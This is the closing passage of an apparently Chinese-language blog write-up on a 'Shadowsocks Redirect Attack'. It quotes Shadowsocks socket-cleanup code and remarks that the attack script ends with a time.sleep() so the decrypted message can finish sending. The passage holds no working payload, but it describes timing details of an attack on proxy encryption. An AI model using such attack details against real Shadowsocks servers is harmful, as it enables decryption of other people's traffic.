    if self._local_sock:
        logging.debug('destroying local')
        self._loop.remove(self._local_sock)
        del self._fd_to_handlers[self._local_sock.fileno()]
        self._local_sock.close()
        self._local_sock = None
    self._dns_resolver.remove_callback(self._handle_dns_resolved)
    self._server.remove_handler(self)

因此我们需要让脚本再阻塞一会，等待消息被解密发送完成后再结束脚本，也就是脚本最后一行 time.sleep() 的用意。

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文章标题:Shadowsocks Redirect Attack

文章字数:6.7k

本文作者:Van1sh

发布时间:2023-01-30, 17:14:00

最后更新:2023-03-07, 18:35:16

原始链接:http://jayxv.github.io/2023/01/30/Shadowsocks Redirect Attack/

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